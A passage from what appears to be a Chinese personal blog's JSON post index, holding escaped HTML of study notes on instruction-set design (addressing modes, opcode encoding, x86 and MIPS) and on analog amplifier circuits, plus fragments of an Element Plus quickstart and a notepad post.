},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"使用-Nuxt-js\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E4%BD%BF%E7%94%A8-Nuxt-js\" class=\"headerlink\" title=\"使用 Nuxt.js#\"\u003e\u003c/a\u003e使用 Nuxt.js\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E4%BD%BF%E7%94%A8-nuxt-js\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e我们也可以使用 \u003ca href=\"https://v3.nuxtjs.org/\"\u003eNuxt.js\u003c/a\u003e:\u003c/p\u003e\u003ch2 id=\"开始使用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BC%80%E5%A7%8B%E4%BD%BF%E7%94%A8\" class=\"headerlink\" title=\"开始使用#\"\u003e\u003c/a\u003e开始使用\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BC%80%E5%A7%8B%E4%BD%BF%E7%94%A8\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e现在你可以启动项目了。 具体每个组件的使用方法, 请查阅 \u003ca href=\"https://element-plus.org/en-US/component/button.html\"\u003e每个组件的独立文档\u003c/a\u003e.\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/"},{"title":"计组笔记:第五章-指令系统","time":"2023-06-17T12:07:32Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e指令是硬件和软件的中间层。指令系统的设计主要包括\u003cstrong\u003e指令功能\u003c/strong\u003e和\u003cstrong\u003e指令格式\u003c/strong\u003e的设计。它的评价指标有四点:完备(不能缺少功能)、高效(省地方一点)、规整(格式简单一点)、兼容性(向后兼容,无成本迁移)四方面。\u003c/p\u003e\u003ch2 id=\"指令的基本格式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"指令的基本格式\"\u003e\u003c/a\u003e指令的基本格式\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201110.png\"/\u003e\u003c/p\u003e\u003cp\u003e主要是两部分,首先是\u003cstrong\u003e操作码\u003c/strong\u003e,其次是数个地址(0个或多个)。将二进制编码用助记符表示,就是汇编语言。\u003c/p\u003e\u003cp\u003e计算机的存储方式有\u003cstrong\u003e大端存储(从数据的高字节开始存)、小端存储(从数据的低字节开始存)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201456.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201611.png\"/\u003e\u003c/p\u003e\u003cp\u003e此外还有\u003cstrong\u003e边界对齐\u003c/strong\u003e的概念。如图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201659.png\"/\u003e\u003c/p\u003e\u003cp\u003e还有一种存储模式,\u003cstrong\u003e堆栈\u003c/strong\u003e。这里的堆栈应该就是栈,堆和栈是俩不一样的东西,堆是存程序malloc的内存的,栈是存程序函数调用开销的,这俩在程序的内存中存储的位置也不一样。\u003c/p\u003e\u003cp\u003e存储模式也有两类:冯诺依曼结构(程序和数据等价)、哈佛结构(程序和数据不对等)。后者对于流水线结构有优化,能达到流水线的理想性能。现在的芯片内部Cache有的会使用哈佛结构:数据Cache、指令Cache,而外部使用冯诺依曼结构。\u003c/p\u003e\u003ch2 id=\"指令的典型分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E7%9A%84%E5%85%B8%E5%9E%8B%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"指令的典型分类\"\u003e\u003c/a\u003e指令的典型分类\u003c/h2\u003e\u003cul\u003e\u003cli\u003e数据传送类:频率最高,要快\u003c/li\u003e\u003cli\u003e算数运算类\u003c/li\u003e\u003cli\u003e逻辑运算类\u003c/li\u003e\u003cli\u003e程序控制类\u003cul\u003e\u003cli\u003e转移\u003c/li\u003e\u003cli\u003e循环\u003c/li\u003e\u003cli\u003e过程调用、返回指令\u003c/li\u003e\u003cli\u003e程序自中断指令\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e系统控制类:特权指令,虚存管理、任务切换、改变处理器工作模式\u003c/li\u003e\u003cli\u003e数据转换类:可选\u003c/li\u003e\u003cli\u003e输入输出类:根据统一编址(把接口的寄存器映射到主存,用数据传输指令访问外设)和独立编址,可能没有专门的输入输出指令。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"寻址方式:指令获取操作数的方式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E5%AF%BB%E5%9D%80%E6%96%B9%E5%BC%8F%EF%BC%9A%E6%8C%87%E4%BB%A4%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E6%95%B0%E7%9A%84%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"寻址方式:指令获取操作数的方式\"\u003e\u003c/a\u003e寻址方式:指令获取操作数的方式\u003c/h2\u003e\u003cul\u003e\u003cli\u003e隐含寻址:例如Intel指令\u003ccode\u003eMUL BL\u003c/code\u003e,事先规定好了地址在哪\u003c/li\u003e\u003cli\u003e立即寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203658.png\"/\u003e\u003c/li\u003e\u003cli\u003e寄存器寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203717.png\"/\u003e\u003c/li\u003e\u003cli\u003e直接寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203731.png\"/\u003e\u003c/li\u003e\u003cli\u003e间接寻址:操作数地址的地址,需要访问两次主存,比较慢\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203746.png\"/\u003e\u003c/li\u003e\u003cli\u003e寄存器间接寻址:把上面的地址放在CPU内部寄存器\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203754.png\"/\u003e\u003c/li\u003e\u003cli\u003e基址寻址:用来实现主存分段 \u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203826.png\"/\u003e\u003c/li\u003e\u003cli\u003e变址寻址:用来实现数组遍历 \u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203835.png\"/\u003e\u003c/li\u003e\u003cli\u003ePC相对寻址:PC指向下一条指令,这个方式给PC加偏移量,所以能用来实现与地址无关的程序设计\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203551.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e例如,x86处理器的条件转移指令就是一种PC相对寻址。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617204150.png\"/\u003e\u003c/p\u003e\u003cp\u003e无关位置的程序实现:\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚存管理:逻辑地址\u003c/li\u003e\u003cli\u003e内存分段管理:段内偏移\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面两种方案的缺点是位数多,占用指令存储空间大。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617204711.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"指令长度设计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E9%95%BF%E5%BA%A6%E8%AE%BE%E8%AE%A1\" class=\"headerlink\" title=\"指令长度设计\"\u003e\u003c/a\u003e指令长度设计\u003c/h2\u003e\u003cul\u003e\u003cli\u003e一般原则\u003cul\u003e\u003cli\u003e指令长度为存储器\u003cstrong\u003e最小可寻址单位\u003c/strong\u003e的整数倍:(CISC)(x86)\u003c/li\u003e\u003cli\u003e指令长度一般为\u003cstrong\u003e总线宽度\u003c/strong\u003e的整数倍:RISC\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e常用设计方案\u003cul\u003e\u003cli\u003e变长操作码,变长指令码:CISC(x86)\u003c/li\u003e\u003cli\u003e定长操作码,定长指令码:RISC\u003cul\u003e\u003cli\u003eMIPS,6位定长操作码,32位定长指令码\u003c/li\u003e\u003cli\u003eRISC-V,7位定长操作码,32位定长指令码\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e操作码\u003c/strong\u003e格式分为\u003cstrong\u003e定长、变长操作码\u003c/strong\u003e,变长操作码为了防止重复指令,得用赫夫曼编码来编制操作码。\u003c/p\u003e\u003col\u003e\u003cli\u003e定长操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e对于定长操作码,可以将指令从高频到低频排序,依次给从0开始编号。\u003c/p\u003e\u003cul\u003e\u003cli\u003e优点:操作码构造简单,硬件设计简单,译码速度快\u003c/li\u003e\u003cli\u003e缺点:操作码占存储空间大,难以扩展\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e变长操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e对于变长操作码,按照频率高到低排序,再构造霍夫曼树作为编码结果。\u003c/p\u003e\u003cp\u003e变长操作码设计原则:\u003c/p\u003e\u003cul\u003e\u003cli\u003e若指令字长度固定,则长地址码对应短操作码,操作码长度随地址码长度缩短而增加\u003c/li\u003e\u003cli\u003e如果指令字长度可变,则以指令使用频率为设计依据,高频短码,低频长码\u003c/li\u003e\u003cli\u003e设计总是\u003cstrong\u003e从短码开始\u003c/strong\u003e,并且保证现在的操作码和以后扩展的编码能区分\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e短码不能是长码的前缀\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e根据赫夫曼编码的合并方式不同,得到的结果可能不唯一,但是\u003cstrong\u003e平均码长一定是唯一的\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e缺点:编码长度种类过多,电路设计困难\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617205817.png\"/\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e扩展操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e是将赫夫曼编码的码长变为更少的种类。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618013331.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,它编码种类较少的同时,码长也很接近赫夫曼编码。因此实际设计时,一般使用这种设计方式。比如CISC的x86就可以这么设计。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617210813.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是两种设计方式。一个长度的指令码必须保留一种组合给更长的指令码做前缀。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618013746.png\"/\u003e\u003c/p\u003e\u003cp\u003e因此,上面的操作码可以设计如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e三地址:操作码6位,指令数$n_3\\leq2^6-1$\u003c/li\u003e\u003cli\u003e双地址:操作码11位,指令数$n_2\\leq(2^6-n_3)\\cdot2^5-1$\u003c/li\u003e\u003cli\u003e单地址:操作码16位,指令数$n_1\\leq((2^6-n_3)\\cdot2^5-n_2)\\cdot2^5-1$\u003c/li\u003e\u003cli\u003e零地址:操作码32位,指令数$n_0\\leq(((2^6-n_3)\\cdot 2^5 - n_2)\\cdot2^5-n_1)\\times2^{16}$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618014509.png\"/\u003e\u003c/p\u003e\u003cp\u003e对于上面的问题,相当于计算单地址指令一共有多少个。我们分析如下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618014832.png\"/\u003e\u003c/p\u003e\u003cp\u003e由上图的不等式能解出来,B类指令最多一共有254条。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617211810.png\"/\u003e\u003c/p\u003e\u003cp\u003e上题还是从短码开始考虑。首先短码有m条,则剩下的前缀有$2^4-m$个。再乘以长码扩展的长度$2^6$,就能得到长码最多的个数。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618015643.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618015933.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617213025.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"5-6-典型指令系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#5-6-%E5%85%B8%E5%9E%8B%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"5.6.典型指令系统\"\u003e\u003c/a\u003e5.6.典型指令系统\u003c/h2\u003e\u003ch3 id=\"Intel-x86\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#Intel-x86\" class=\"headerlink\" title=\"Intel x86\"\u003e\u003c/a\u003eIntel x86\u003c/h3\u003e\u003cp\u003e发展:从诞生时的80条指令增长到2015的3600条指令(来源Intel博客)。\u003c/p\u003e\u003cp\u003e十分复杂,指令集手册5000多页(\u003c/p\u003e\u003cp\u003e目前在向着RISC的方向均衡。它十分适合高性能计算。\u003c/p\u003e\u003ch3 id=\"MIPS\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#MIPS\" class=\"headerlink\" title=\"MIPS\"\u003e\u003c/a\u003eMIPS\u003c/h3\u003e\u003cp\u003eARM手册也长,8000多页(\u003c/p\u003e\u003cp\u003e32位MIPS\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618023229.png\"/\u003e\u003c/p\u003e\u003cp\u003e64位MIPS,14种指令格式\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618023357.png\"/\u003e\u003c/p\u003e\u003cp\u003eMIPS是arm流行之前,最流行的处理器。\u003c/p\u003e\u003cp\u003e这一章基本就是这样了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/"},{"title":"模电:第三章-放大电路分析方法","time":"2023-06-13T12:54:14Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"集电极放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E9%9B%86%E7%94%B5%E6%9E%81%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"集电极放大电路\"\u003e\u003c/a\u003e集电极放大电路\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605182453.png\"/\u003e\u003c/p\u003e\u003cp\u003e电路分析使用\u003cstrong\u003e静态分析\u003c/strong\u003e和\u003cstrong\u003e动态分析\u003c/strong\u003e两种方式,分别针对直流通路和交流通路。前者确定其静态工作点,后者确定其放大参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e静态分析\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e原理:KCL,列写方程如下:$V_{cc}=I_{BQ}R_b+U_{BEQ}+I_{EQ}R_e$\u003c/p\u003e\u003cp\u003e从而得到$Q(I_{BQ},I_{CQ},U_{CEQ})$如下:\u003c/p\u003e\u003col\u003e\u003cli\u003e$I_{BQ}=\\frac{V_{CC}-U_{BEQ}}{R_b}$\u003c/li\u003e\u003cli\u003e$I_{CQ}=\\beta I_{BQ}$\u003c/li\u003e\u003cli\u003e$U_{CEQ}=V_{CC}-I_{EQ}R_e=V_{CC}-I_{CQ}R_c$\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e动态分析:利用微变等效电路\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e交流输入电阻:$r_{be}=r_{bb’}+\\beta\\frac{U_T(26mv)}{I_{CQ}}$\u003c/li\u003e\u003cli\u003e电压放大倍数:$A_u=\\frac{U_o}{U_i}=-\\beta\\frac{R_L’(=R_C//R_L)}{R_{be}}$\u003c/li\u003e\u003cli\u003e输入电阻:$R_i=\\frac{U_i}{I_i}=R_b//r_{be}$\u003c/li\u003e\u003cli\u003e输出电阻:$R_o=R_c$\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e失真现象:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e注意:下面的讨论限于NPN型电路,PNP型需要反过来理解。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e消除方法\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eQ点过高:$I_{BQ}$偏大\u003c/td\u003e\u003ctd\u003e饱和失真(底部失真)\u003c/td\u003e\u003ctd\u003e增大$R_b$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eQ点过低:$I_{BQ}$偏小\u003c/td\u003e\u003ctd\u003e截止失真(顶部失真)\u003c/td\u003e\u003ctd\u003e减小$R_b$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e功率电子电路:还有一种失真是针对\u003cstrong\u003e乙型功率放大电路\u003c/strong\u003e的,它将两个三极管组合起来分别放大正版周期和负半周期。在接近$U$轴时,两个三极管均会进入截止区,此时信号会出现\u003cstrong\u003e交越失真\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e共基极放大电路特点:电压跟随、输入电阻大、输出电阻小\u003c/p\u003e\u003ch2 id=\"多级放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E5%A4%9A%E7%BA%A7%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"多级放大电路\"\u003e\u003c/a\u003e多级放大电路\u003c/h2\u003e\u003cul\u003e\u003cli\u003e耦合方式\u003cul\u003e\u003cli\u003e阻容耦合\u003cul\u003e\u003cli\u003e各级静态工作点独立,便于分析设计\u003c/li\u003e\u003cli\u003e难以大规模集成\u003c/li\u003e\u003cli\u003e不能放大直流信号和低频信号\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e直接耦合\u003cul\u003e\u003cli\u003e各级静态工作点不独立,存在零点漂移(温度变化造成)\u003c/li\u003e\u003cli\u003e可以大规模集成\u003c/li\u003e\u003cli\u003e能同时放大直流信号和低频信号\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的放大倍数等于各级放大倍数的乘积。它的动态/静态分析从输入端到输出端进行。\u003c/p\u003e\u003ch2 id=\"差动放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E5%B7%AE%E5%8A%A8%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"差动放大电路\"\u003e\u003c/a\u003e差动放大电路\u003c/h2\u003e\u003cp\u003e它使用外部干扰作用于两个端口上的干扰信号程度一致这个特性,将输入分为共模/\u003cstrong\u003e差模\u003c/strong\u003e信号,以将干扰抵消。\u003c/p\u003e\u003ch2 id=\"负反馈电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E8%B4%9F%E5%8F%8D%E9%A6%88%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"负反馈电路\"\u003e\u003c/a\u003e负反馈电路\u003c/h2\u003e\u003cul\u003e\u003cli\u003e负反馈\u003cul\u003e\u003cli\u003e降低放大倍数\u003cul\u003e\u003cli\u003e开环放大倍数:$A=\\frac{X_o}{X_i}$\u003c/li\u003e\u003cli\u003e闭环放大倍数:$A_f=\\frac{A}{1+AF}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e提高放大倍数稳定性\u003c/li\u003e\u003cli\u003e减小非线性失真\u003c/li\u003e\u003cli\u003e展宽放大电路通频带\u003c/li\u003e\u003cli\u003e影响输入、输出电阻\u003cul\u003e\u003cli\u003e串联反馈:输入电阻增大\u003c/li\u003e\u003cli\u003e并联反馈:输入电阻减小\u003c/li\u003e\u003cli\u003e电压型负反馈:输出电阻减小\u003c/li\u003e\u003cli\u003e电流型负反馈:输出电阻增大\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"集成运算放大器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E9%9B%86%E6%88%90%E8%BF%90%E7%AE%97%E6%94%BE%E5%A4%A7%E5%99%A8\" class=\"headerlink\" title=\"集成运算放大器\"\u003e\u003c/a\u003e集成运算放大器\u003c/h2\u003e\u003cp\u003e一个三端口元器件,输入$U_{i1}(-)$和$U_{i2}(+)$,输出$U_o$。\u003c/p\u003e\u003cul\u003e\u003cli\u003e$U_o=A_{od}(U_{i2}-U_{i1})=A_{od}\\cdot U_i$\u003c/li\u003e\u003cli\u003e$U_o=(1+\\frac{R_F}{R_1})U_1$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"理想化条件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E7%90%86%E6%83%B3%E5%8C%96%E6%9D%A1%E4%BB%B6\" class=\"headerlink\" title=\"理想化条件\"\u003e\u003c/a\u003e理想化条件\u003c/h3\u003e\u003col\u003e\u003cli\u003e开环电压放大倍数趋于无穷:$A_{uo}=\\infty$\u003c/li\u003e\u003cli\u003e输入电阻值趋于无穷:$r_{id}=\\infty$\u003c/li\u003e\u003cli\u003e输出电阻值近似为0:$r_o=0$\u003c/li\u003e\u003cli\u003e共模抑制比趋于无穷\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e虚短:两输入端电压非常接近于0:$u_+=u_-$\u003cbr/\u003e虚断:输入端虽不断却无电流:$i_+=0,i_-=0$\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/"},{"title":"一个奇怪的Base64浏览器记事本","time":"2023-06-10T12:31:17Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003esource: \u003ca href=\"https://www.v2ex.com/t/944717#reply144\"\u003e开源一个无后端也无前端彻底无服务的网页版记事本 - V2EX\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"本体\"\u003e\u003ca 